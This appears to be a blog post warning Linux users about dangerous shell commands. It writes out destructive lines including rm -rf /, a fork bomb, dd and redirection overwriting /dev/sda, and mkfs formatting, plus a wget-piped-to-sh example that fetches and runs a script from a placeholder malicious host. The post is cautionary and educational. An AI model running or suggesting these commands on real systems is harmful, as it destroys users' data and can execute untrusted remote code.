What are the most harmful commands in Linux?




rm -rf /  - delete all data from  / (root) .

:(){:|:&};: - Fork bomb It operates by defining a function called ‘:‘, which  calls itself twice, once in the foreground and once in the background.  It keeps on executing again and again till the system freezes.

command > /dev/sda - the output of ‘command‘ on the block /dev/sda.  The above command writes raw data and all the files on the block will  be replaced with raw data, thus resulting in total loss of data on the  block.

wget http://malicious_source -O- | sh :- The above command will download a script from a malicious source and then execute it. Wget command will download the script and sh will execute the downloaded script.

 file :- he above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” will write the configuration file or any other system or configuration file.

foo^bar :- used to edit the previous run command without the need of retyping the  whole command again. But this can really be troublesome if you didn’t  took the risk of thoroughly checking the change in original command  using ^foo^bar command.

dd if=/dev/random of=/dev/sda :- command will wipe out the block sda and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.

NOTE:- Do not run this commands in your linux 
shell/terminal
 

Commands that format your hard drive:
Command  that contains mkfs will erase your your file or the whole hard  drive to a blank filesytem. Examples of this kind of command would be: -

sudo mkfs
sudo mkfs.ext3
sudo mkfs.bfs
sudo mkfs.cramfs
sudo mkfs.ext2
sudo mkfs.minix
sudo mkfs.msdos
sudo mkfs.reiserfs
sudo mkfs.vfat

Commands that have "rm" :

The  "rm" command means to remove, and has to be used with care, especially if it has the following tags:

rm -rf /
rm -rf .
rm -rf *
 

The fork bomb
Although  this command looks like a string of emotion icons on your chat windows,  it will execute a huge number of processes until the system freezes,  forcing a hard reset of the computer (which may cause data corruption,  operating system damage, or other awful fate). 
:(){:|:&};: 

 Malicious code in Shell scripts
They  are what you may get when you download a package from unreliable  sources, the package usually contains a very long list of benign  commands but in which a dangerous command may be carefully concealed.  After your download and execute these packages, your system may become a  bot for the hackers to use for their evil DDOS campaigns. Examples of  these commands would be like:

wget http://some_place/some_file
sh ./some_file
or
wget http://some_place/some_file -O- | sh 

command > /dev/sda
The above command writes the output of ‘command‘ on the block /dev/sda.  The above command writes raw data and all the files on the block will  be replaced with raw data, thus resulting in total loss of data on the  block.

mv folder /dev/null
The above command will move ‘folder‘ to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed.

mv /home/user/* /dev/null

The above command will move all the contents of a User directory to /dev/null, which literally means everything there was sent to blackhole (null).
dd if=/dev/random of=/dev/sda
The above command will wipe out the block sda and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.

Disable Root Command Rights

It utilizes the commonly used rm command to disable two of the most important commands on Linux: sudo and su. Long story short, these two allow you to run other commands with root permissions. Without them, life on Linux would be miserable.

rm -f /usr/bin/sudo;
rm -f /bin/su


sudo apt-get remove python. It is the most dangerous command. It is even capable of removing all UI, Desktop and other dependencies in Ubuntu.

Dont not try this command.

But to restore to the original settings use:

sudo apt-get install ubuntu-desktop
sudo apt-get install --reinstall python2.7

Previous
Next Post »

statistics